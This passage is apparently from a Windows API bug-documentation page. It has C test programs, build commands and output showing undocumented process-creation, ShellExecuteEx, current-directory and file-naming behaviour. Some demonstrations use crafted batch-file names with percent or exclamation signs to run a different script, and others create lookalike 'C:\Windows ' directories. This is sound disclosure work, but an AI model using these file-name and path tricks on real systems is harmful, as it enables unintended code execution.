						if (!RevertToSelf())
							PrintConsole(hError,
							             L"RevertToSelf() returned error %lu\n",
							             dwError = GetLastError());
					}
					if (!CloseHandle(hToken))
						PrintConsole(hError,
						             L"CloseHandle() returned error %lu\n",
						             dwError = GetLastError());
				}
				if (!CloseHandle(hProcess))
					PrintConsole(hError,
					             L"CloseHandle() returned error %lu\n",
					             dwError = GetLastError());
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(149) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
 Create the text file blunder.exe.manifest with the
            following content next to the console application
            blunder.exe built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <description>Blunder Console Application</description>
    <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
            </requestedPrivileges>
        </security>
    </trustInfo>
</assembly> Execute the console application blunder.exe built in
            step 2. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateProcessWithTokenW() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: contrary to its documentation cited above, the Win32 function
CreateProcessWithTokenW()
            fails with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            although the
            access token
            is properly opened with TOKEN_ASSIGN_PRIMARY,
            TOKEN_DUPLICATE and TOKEN_QUERY_SOURCE
            access!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(149) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 5. with elevated access rights to demonstrate its proper
            function:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS: contrary to its documentation cited above, the Win32 function
CreateProcessWithTokenW()
            does not need to be called with a
            primary token,
            but accepts an
            impersonation token
            as well!
        shell
Explorer.exe
            calls one of the Win32 functions
            ShellExecute()
            or
            ShellExecuteEx()
            which look up the
            file type
            alias
            Programmatic Identifier
            associated with its extension, retrieve the command line template
            registered with the default verb of this file type, replace the
            various tokens %‹digit›,
            %‹letter› and %* in that
            command line template with file or path names and arguments, then
            feed the completed command line to one of the
            CreateProcess(),
            CreateProcessAsUser(),
            CreateProcessWithLogonW()
            or
            CreateProcessWithTokenW()
            functions.
        The MSDN articles File Types and File Associations and Launching Applications (ShellExecute, ShellExecuteEx, SHELLEXECUTEINFO) provide details.
 CAVEAT: according to the documentation for the
            SetCurrentDirectory()
            function, the
            CreateProcess()
            function but fails if the double-clicked file resides in a
            directory whose path name exceeds 260 alias MAX_PATH
            characters:
        
Important
Setting a current directory longer than MAX_PATH causes CreateProcessW to fail.
shellcan’t distinguish batch scripts, i.e. text files with extension
.bat or .cmd, from applications, i.e.
            portable executableimage files with extension
.com, .exe and .scr.
         
            Create the empty file 
blunder.bat in
            an arbitrary, preferable empty directory, then open
 it via
            double-click.
        
 OOPS: according to the error message text,
            Windows treats batch scripts as applications, i.e.
            portable executable
 image files!
        
 Note: as already shown in
            Blunder № 74,
            the Win32 error code is 193 alias
            ERROR_BAD_EXE_FORMAT!
        
        
 Create the text file blunder.c with the following
            content in the same directory as the empty file
            blunder.bat:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SHELLEXECUTEINFO sei = {sizeof(sei),
	                        SEE_MASK_NOASYNC | SEE_MASK_NO_CONSOLE | SEE_MASK_UNICODE,
	                        HWND_DESKTOP,
	                        (LPCWSTR) NULL,
#ifndef BLUNDER
	                        L"blunder.bat",
#elif BLUNDER == 1
	                        L"Windows NT.bat",
#else
	                        L"%OS%.bat",
#endif
	                        L"/?",
#ifndef BLUNDER
	                        (LPCWSTR) NULL,
#elif BLUNDER == 1
	                        L".",
#else
	                        L"..",
#endif
	                        SW_SHOWNORMAL,
	                        (HINSTANCE) NULL,
	                        NULL,
	                        (LPCWSTR) NULL,
	                        HKEY_CLASSES_ROOT,
	                        0UL,
	                        (HANDLE) NULL,
	                        (HANDLE) NULL};
	DWORD	dwError = ERROR_SUCCESS;
	if (!ShellExecuteEx(&sei))
		dwError = GetLastError();
	ExitProcess(dwError);
}blunder.bat in the current
            directory.
         Compile and link the source file blunder.c created in
            step 2.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib shell32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
 Execute the console application blunder.exe built in
            step 3. and evaluate its exit code to verify the
            Win32 error code 193:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.
 Display the
            file types
            associated with the extensions .bat, .cmd,
            .com and .exe plus their command line
            templates to show the cause for this undocumented
            behaviour:
        
ASSOC .bat FTYPE batfile ASSOC .cmd FTYPE cmdfile ASSOC .com FTYPE comfile ASSOC .exe FTYPE exefile
.bat=batfile batfile="%1" %* .cmd=cmdfile cmdfile="%1" %* .com=comfile comfile="%1" %* .exe=exefile exefile="%1" %*
 Overwrite the empty file blunder.bat created in
            step 1. with the following content:
        
@REM Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
@ECHO %CMDCMDLINE%
@ECHO %~f0
@EXIT Execute the console application blunder.exe built in
            step 3. a second time and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c ""C:\Users\Stefan\Desktop\blunder.bat" /?"
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
            OUCH: the
            ShellExecuteEx()
            function (which Explorer.exe
            calls internally) expands the token "%1" in
            the command line template to the fully qualified quoted path name of
            the batch script blunder.bat, but fails to double the
            inner quotation marks!
         Rename the console application blunder.exe built in
            step 3 as blunder.cmd and execute it via
            double-click:
        
RENAME blunder.exe *.cmd
Windows NT.bat or
            %OS%.bat as well as an arbitrary working directory is
            left as an exercise to the reader.
        Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
SetCurrentDirectory()
            states:
        The highlighted statement of the documentation cited above is but incomplete, misleading and wrong – the fourImportant
Setting a current directory longer than MAX_PATH causes CreateProcessW to fail.
CreateProcess*() functions fail
            only if the path name of the current directory exceeds
            MAX_PATH − 2 = 258 characters
            and their lpCurrentDirectory parameter
            is NULL, i.e. if the new process should inherit the
            current directory of the calling process; they succeed if their
            lpCurrentDirectory parameter provides the path name of
            an existing directory less than 259 characters!
        SetCurrentDirectory()
            specifies:
        Changes the current directory for the current process.The documentation for the Win32 function[…]BOOL SetCurrentDirectory( [in] LPCTSTR lpPathName );
[in] lpPathNameThe path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory.
[…]
The final character before the null character must be a backslash ('\'). If you do not specify the backslash, it will be added for you; therefore, specify MAX_PATH-2 characters for the path unless you include the trailing backslash, in which case, specify MAX_PATH-1 characters for the path.
[…]
Each process has a single current directory made up of two parts:
- A disk designator that is either a drive letter followed by a colon, or a server name and share name (\\servername\sharename)
- A directory on the disk designator
GetCurrentDirectory()
            repeats the wrong remark cited above:
        Each process has a single current directory made up of two parts:
- A disk designator that is either a drive letter followed by a colon, or a server name and share name (\\servername\sharename)
- A directory on the disk designator
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szDevice[3] = {L"\\\\.\\NUL",
		               L"\\\\.\\PIPE",
		               L"\\\\.\\PIPE\\"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szDirectory[MAX_PATH];
	DWORD	dwDevice = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		do
			if (!SetCurrentDirectory(szDevice[dwDevice]))
				PrintConsole(hError,
				             L"SetCurrentDirectory() returned error %lu for \'%ls\'\n",
				             dwError = GetLastError(), szDevice[dwDevice]);
			else
				if (GetCurrentDirectory(sizeof(szDirectory) / sizeof(*szDirectory),
				                        szDirectory) == 0UL)
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned error %lu for \'%ls\'\n",
					             dwError = GetLastError(), szDevice[dwDevice]);
				else
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned value \'%ls\' for \'%ls\'\n",
					             szDirectory, szDevice[dwDevice]);
		while (++dwDevice < sizeof(szDevice) / sizeof(*szDevice));
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code to demonstrate the blunder:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetCurrentDirectory() returned value '\\.\NUL' for '\\.\NUL\'
SetCurrentDirectory() returned error 123 for '\\.\PIPE'
GetCurrentDirectory() returned value '\\.\PIPE' for '\\.\PIPE\'
0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
Error message text: The filename, directory name, or volume label syntax is incorrect.
CertUtil: -error command completed successfully.
            OUCH: contrary to the first highlighted statement
            of its documentation cited above, the Win32 function
            SetCurrentDirectory()
            fails to append the trailing backslash for the argument
            \\.\PIPE and returns the Win32 error code
            123 alias
            ERROR_INVALID_NAME
            instead!
         OOPS: contrary to the second highlighted statement
            of its documentation cited above, the Win32 function
            SetCurrentDirectory()
            accepts a device name as current directory!
        
CreateProcess*() fail to accept
            \\.\NUL\ or \\.\PIPE\ as current directory
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
Naming Conventions:
The following fundamental rules enable applications to create and process valid names for files and directories, regardless of the file system:
Use any character in the current code page for a name, including Unicode characters and characters in the extended character set (128–255), except for the following:
- The following reserved characters:
- < (less than)
- > (greater than)
- : (colon)
- " (double quote)
- / (forward slash)
- \ (backslash)
- | (vertical bar or pipe)
- ? (question mark)
- * (asterisk)
Integer value zero, sometimes referred to as the ASCII NUL character.
Characters whose integer representations are in the range from 1 through 31, except for alternate data streams where these characters are allowed. For more information about file streams, see File Streams.
Any other character that the target file system does not allow.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	FILE_RENAME_INFO	fri[] = {{TRUE, (HANDLE) NULL, sizeof(L'\0'), L'\0'},	// ␀
				         {TRUE, (HANDLE) NULL, sizeof(L'\1'), L'\1'},	// ␁
				         {TRUE, (HANDLE) NULL, sizeof(L'\2'), L'\2'},	// ␂
				         {TRUE, (HANDLE) NULL, sizeof(L'\3'), L'\3'},	// ␃
				         {TRUE, (HANDLE) NULL, sizeof(L'\4'), L'\4'},	// ␄
				         {TRUE, (HANDLE) NULL, sizeof(L'\5'), L'\5'},	// ␅
				         {TRUE, (HANDLE) NULL, sizeof(L'\6'), L'\6'},	// ␆
				         {TRUE, (HANDLE) NULL, sizeof(L'\7'), L'\7'},	// ␇
				         {TRUE, (HANDLE) NULL, sizeof(L'\a'), L'\a'},	// ␇
				         {TRUE, (HANDLE) NULL, sizeof(L'\b'), L'\b'},	// ␈
				         {TRUE, (HANDLE) NULL, sizeof(L'\t'), L'\t'},	// ␉
				         {TRUE, (HANDLE) NULL, sizeof(L'\n'), L'\n'},	// ␊
				         {TRUE, (HANDLE) NULL, sizeof(L'\v'), L'\v'},	// ␋
				         {TRUE, (HANDLE) NULL, sizeof(L'\f'), L'\f'},	// ␌
				         {TRUE, (HANDLE) NULL, sizeof(L'\r'), L'\r'},	// ␍
				         {TRUE, (HANDLE) NULL, sizeof(L' '), L' '},	// Space
				         {TRUE, (HANDLE) NULL, sizeof(L'!'), L'!'},
				         {TRUE, (HANDLE) NULL, sizeof(L'"'), L'"'},
				         {TRUE, (HANDLE) NULL, sizeof(L'#'), L'#'},
				         {TRUE, (HANDLE) NULL, sizeof(L'$'), L'$'},
				         {TRUE, (HANDLE) NULL, sizeof(L'%'), L'%'},
				         {TRUE, (HANDLE) NULL, sizeof(L'&'), L'&'},
				         {TRUE, (HANDLE) NULL, sizeof(L'\''), L'\''},
				         {TRUE, (HANDLE) NULL, sizeof(L'('), L'('},
				         {TRUE, (HANDLE) NULL, sizeof(L')'), L')'},
				         {TRUE, (HANDLE) NULL, sizeof(L'*'), L'*'},
				         {TRUE, (HANDLE) NULL, sizeof(L'+'), L'+'},
				         {TRUE, (HANDLE) NULL, sizeof(L','), L','},
				         {TRUE, (HANDLE) NULL, sizeof(L'-'), L'-'},
				         {TRUE, (HANDLE) NULL, sizeof(L'.'), L'.'},	// Period
				         {TRUE, (HANDLE) NULL, sizeof(L'/'), L'/'},
				         {TRUE, (HANDLE) NULL, sizeof(L':'), L':'},
				         {TRUE, (HANDLE) NULL, sizeof(L';'), L';'},
				         {TRUE, (HANDLE) NULL, sizeof(L'<'), L'<'},
				         {TRUE, (HANDLE) NULL, sizeof(L'='), L'='},
				         {TRUE, (HANDLE) NULL, sizeof(L'>'), L'>'},
				         {TRUE, (HANDLE) NULL, sizeof(L'?'), L'?'},
				         {TRUE, (HANDLE) NULL, sizeof(L'@'), L'@'},
				         {TRUE, (HANDLE) NULL, sizeof(L'['), L'['},
				         {TRUE, (HANDLE) NULL, sizeof(L'\\'), L'\\'},
				         {TRUE, (HANDLE) NULL, sizeof(L']'), L']'},
				         {TRUE, (HANDLE) NULL, sizeof(L'^'), L'^'},
				         {TRUE, (HANDLE) NULL, sizeof(L'_'), L'_'},
				         {TRUE, (HANDLE) NULL, sizeof(L'`'), L'`'},
				         {TRUE, (HANDLE) NULL, sizeof(L'{'), L'{'},
				         {TRUE, (HANDLE) NULL, sizeof(L'|'), L'|'},
				         {TRUE, (HANDLE) NULL, sizeof(L'}'), L'}'},
				         {TRUE, (HANDLE) NULL, sizeof(L'~'), L'~'},
				         {TRUE, (HANDLE) NULL, sizeof(L'\177'), L'\177'},	// ␡
				         {TRUE, (HANDLE) NULL, sizeof(L'\xDC00'), L'\xDC00'},	// Low Surrogate
				         {TRUE, (HANDLE) NULL, sizeof(L'\xDBFF'), L'\xDBFF'},	// High Surrogate
				         {TRUE, (HANDLE) NULL, sizeof(L'\uFEFF'), L'\uFEFF'},	// Byte Order Mark
				         {TRUE, (HANDLE) NULL, sizeof(L'\uFFFD'), L'\uFFFD'},	// Replacement Character �
				         {TRUE, (HANDLE) NULL, sizeof(L'\xFFFE'), L'\xFFFE'},	// Noncharacter
				         {TRUE, (HANDLE) NULL, sizeof(L'\xFFFF'), L'\xFFFF'},	// Noncharacter
				         {TRUE, (HANDLE) NULL, sizeof(L'€'), L'€'}};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwBlunder = 0UL;
	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
		                      DELETE,
		                      FILE_SHARE_DELETE,
		                      (LPSECURITY_ATTRIBUTES) NULL,
		                      CREATE_NEW,
		                      FILE_FLAG_DELETE_ON_CLOSE,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		PrintConsole(hError,
		             L"CreateFile() returned error %lu\n",
		             dwError = GetLastError());
	else
	{
		do
			if (!SetFileInformationByHandle(hBlunder,
			                                FileRenameInfo,
			                                fri + dwBlunder,
			                                sizeof(*fri)))
				PrintConsole(hError,
				             L"SetFileInformationByHandle() returned error %lu for \'%lc\' (U+%04hX)\n",
				             dwError = GetLastError(), fri[dwBlunder].FileName[0], fri[dwBlunder].FileName[0]);
		while (++dwBlunder < sizeof(fri) / sizeof(*fri));
		if (!CloseHandle(hBlunder))
			PrintConsole(hError,
			             L"CloseHandle() returned error %lu\n",
			             dwError = GetLastError());
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(83) : warning C4428: universal-character-name encountered in source blunder.c(111) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code to demonstrate the blunder:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
SetFileInformationByHandle() returned error 123 for ' ' (U+0000) SetFileInformationByHandle() returned error 123 for '☺' (U+0001) SetFileInformationByHandle() returned error 123 for '☻' (U+0002) SetFileInformationByHandle() returned error 123 for '♥' (U+0003) SetFileInformationByHandle() returned error 123 for '♦' (U+0004) SetFileInformationByHandle() returned error 123 for '♣' (U+0005) SetFileInformationByHandle() returned error 123 for '♠' (U+0006) SetFileInformationByHandle() returned error 123 for '' (U+0007) SetFileInformationByHandle() returned error 123 for '' (U+0007) SetFileInformationByHandle() returned error 123 for ' (U+0008) SetFileInformationByHandle() returned error 123 for ' ' (U+0009) SetFileInformationByHandle() returned error 123 for ' ' (U+000A) SetFileInformationByHandle() returned error 123 for '♂' (U+000B) SetFileInformationByHandle() returned error 123 for '♀' (U+000C) ' (U+000D)ormationByHandle() returned error 123 for ' SetFileInformationByHandle() returned error 123 for ' ' (U+0020) SetFileInformationByHandle() returned error 123 for '"' (U+0022) SetFileInformationByHandle() returned error 123 for '*' (U+002A) SetFileInformationByHandle() returned error 5 for '.' (U+002E) SetFileInformationByHandle() returned error 5 for '/' (U+002F) SetFileInformationByHandle() returned error 123 for ':' (U+003A) SetFileInformationByHandle() returned error 123 for '<' (U+003C) SetFileInformationByHandle() returned error 123 for '>' (U+003E) SetFileInformationByHandle() returned error 123 for '?' (U+003F) SetFileInformationByHandle() returned error 5 for '\' (U+005C) SetFileInformationByHandle() returned error 123 for '|' (U+007C) 0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123) Error message text: The filename, directory name, or volume label syntax is incorrect. CertUtil: -error command completed successfully.Note: in addition to the reserved characters enumerated in the MSDN article cited above, the file name
 , a single space, is
            rejected with Win32 error code 123 alias
            ERROR_INVALID_NAME.
         OOPS: the file name ., a single
            period, is like the file names / and \
            rejected with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            instead of error code 123 alias
            ERROR_INVALID_NAME
            – these are the names of existing directories!
        
 Note: the file name .. will also be
            rejected with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            instead of error code 123 alias
            ERROR_INVALID_NAME
            – it is the name of the existing parent directory of the
            current directory ..
        
OUCH: unpaired surrogates and low surrogates followed by high surrogates, i.e. invalid Unicode code points, are but accepted!
CopyFile(),
            CopyFile2(),
            CopyFileEx(),
            CopyFileTransacted(),
            CreateDirectory(),
            CreateDirectoryEx(),
            CreateDirectoryTransacted(),
            CreateFile(),
            CreateFile2(),
            CreateFileTransacted(),
            CreateHardLink(),
            CreateHardLinkTransacted(),
            CreateSymbolicLink(),
            CreateSymbolicLinkTransacted(),
            MoveFile(),
            MoveFileEx(),
            MoveFileTransacted(),
            MoveFileWithProgress()
            and
            ReplaceFile()
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
 Create the text file %OS%.bat with the following
            content in an arbitrary, preferable empty directory:
        
@REM Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
@ECHO %CMDCMDLINE%
@ECHO %~f0
@EXIT Start the batch script %OS%.bat created in
            step 1. via double-click:
        
'"C:\Users\Stefan\Desktop\Windows_NT.bat"' is not recognized as an internal or external command,
operable program or batch file.
            OUCH¹: Windows’ graphical
            shell
Explorer.exe
            fails to execute (at least) batch scripts whose
            file name contains two (or more) percent signs which enclose the
            name of an existing environment variable!
         Start the Command Processor
            Cmd.exe, then execute
            the following single command line to show the blunder again:
        
START /B %OS^%.bat
'"Windows_NT.bat"' is not recognized as an internal or external command,
operable program or batch file.
            Note: the caret escapes the second percent sign and
            inhibits expansion of the environment variable OS for
            the internal
            Start
            command.
         Rename the file %OS%.bat created in step 1. to
            %BLUNDER%.bat, then execute it either via double-click
            or the following equivalent command line:
        
START /B %BLUNDER^%.bat
C:\Windows\system32\cmd.exe  /K %BLUNDER%.bat
C:\Users\Stefan\Desktop\%BLUNDER%.bat
            OUCH²: the
            ShellExecute()
            and
            ShellExecuteEx()
            functions, which Explorer.exe
            and the internal
            Start
            command call, fail to escape (at least) every
            second percent sign in the command line arguments they pass to the
            CreateProcess()
            function!
         Set the environment variable BLUNDER to an arbitrary
            value, for example blunder, and repeat step 4.:
        
SET BLUNDER=blunder START /B %BLUNDER^%.bat
'"blunder.bat"' is not recognized as an internal or external command,
operable program or batch file.
            OUCH³: execution of batch scripts whose file
            name contains the name of an existing environment variable enclosed
            in percent signs fails due to the unescaped percent signs in the
            command line passed to the
            Command Processor
            Cmd.exe!
         Rename the file %BLUNDER%.bat to
            blunder.bat, then create the empty file
            blunder.bat next to it and repeat step 4. again:
        
RENAME %BLUNDER^%.bat blunder.bat COPY NUL: %BLUNDER^%.bat START /B %BLUNDER^%.bat
C:\Windows\system32\cmd.exe /K blunder.bat C:\Users\Stefan\Desktop\blunder.batOUCH⁴: due to the unescaped percent signs in the command line passed to the Command Processor
Cmd.exe, execution of
            batch scripts whose file name contains the name of an existing
            environment variable enclosed in percent signs can be (ab)used to
            execute arbitrary other batch scripts!
         Enable delayed expansion
 of environment variables for the
            Command Processor
            Cmd.exe, then rename
            the empty file %BLUNDER%.bat to
            !blunder!.bat and execute the latter:
        
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V DelayedExpansion /T REG_DWORD /D 1 /F RENAME %BLUNDER^%.bat !blunder^!.bat START /B !blunder^!.bat
The operation completed successfully. C:\Windows\system32\cmd.exe /K blunder.bat C:\Users\Stefan\Desktop\blunder.batOUCH⁵: due to the unescaped exclamation marks in the command line passed to the Command Processor
Cmd.exe, execution of
            batch scripts whose file name contains the name of an existing
            environment variable enclosed in exclamation marks can be (ab)used
            to execute arbitrary other batch scripts when
            delayed expansionof environment variables is enabled!
 Unset the environment variable BLUNDER, then overwrite
            the empty file !blunder!.bat with the batch script
            blunder.bat and execute it:
        
SET BLUNDER= MOVE /Y blunder.bat !blunder^!.bat START /B !blunder^!.bat
C:\Windows\system32\cmd.exe  /K .bat
C:\Users\Stefan\Desktop\.bat
            OUCH⁶: thanksto
delayed expansionenabled, the string
!blunder!
            (really: anything enclosed in exclamation marks
            that is not the name of an existing environment variable) in the
            expanded dynamic (environment) variable
            CMDCMDLINE and in the expanded batch
            parameter 0 is replaced with an empty string!
         Finally rename the batch script !blunder!.bat to
            !OS!.bat and execute it via the equivalent of a
            double-click:
        
RENAME !blunder^!.bat !OS^!.bat START /B !OS^!.bat
'"C:\Users\Stefan\Desktop\Windows_NT.bat"' is not recognized as an internal or external command,
operable program or batch file.
            OUCH⁷: when delayed expansionof environment variables is enabled, execution of batch scripts whose file name contains the name of an existing environment variable enclosed in exclamation marks fails due to the unescaped exclamation marks in the command line passed to the Command Processor
Cmd.exe!
        File and Folder names that begin or end with the ASCII Space (0x20) will be saved without these characters. File and Folder names that end with the ASCII Period (0x2E) character will also be saved without this character. All other trailing or leading whitespace characters are retained.OOPS: NTFS, the native file system of Windows NT, stores file and directory names but in Unicode instead of ASCII![…]
The Win32 API (CreateFile, FindFirstFile, etc.) uses a direct method to enumerate the files and folders on a local or remote file system. All files and folders are discoverable regardless of the inclusion or location of whitespace characters.
 Start the Command Processor
            Cmd.exe, then execute
            the following command lines to create directories with a trailing
            space or period in their name, copy the
            Command Processor into them, execute
            this copy to echo its fully qualified pathname, erase it and remove
            the (now empty) directory:
        
SET BLUNDER=%COMSPEC%
SET COMSPEC=
FOR %? IN ("%SystemRoot% \" "%SystemRoot% .\" "%SystemRoot% . \") DO @(
MKDIR "%~?" && COPY "%BLUNDER%" "%~?blunder.exe" && START /B "%~?" "%~?blunder.exe" /D /C ECHO ^%COMSPEC^% && ERASE "%~?blunder.exe" && RMDIR "%~?")
            Note: the command lines can be copied and pasted as
            block into a Command Processor window.
        1 file(s) copied. C:\Windows \blunder.exe 1 file(s) copied. C:\Windows .\blunder.exe 1 file(s) copied. C:\Windows . \blunder.exeOUCH: contrary to the highlighted statements of the MSKB article cited above, directories with a trailing space or period in their name can be created!
 The documentation for the Win32 function
            FindFirstFile()
            specifies:
        
Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).The documentation for the Win32 function[…]
[…]HANDLE FindFirstFile( [in] LPCTSTR lpFileName, [out] LPWIN32_FIND_DATA lpFindFileData );If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
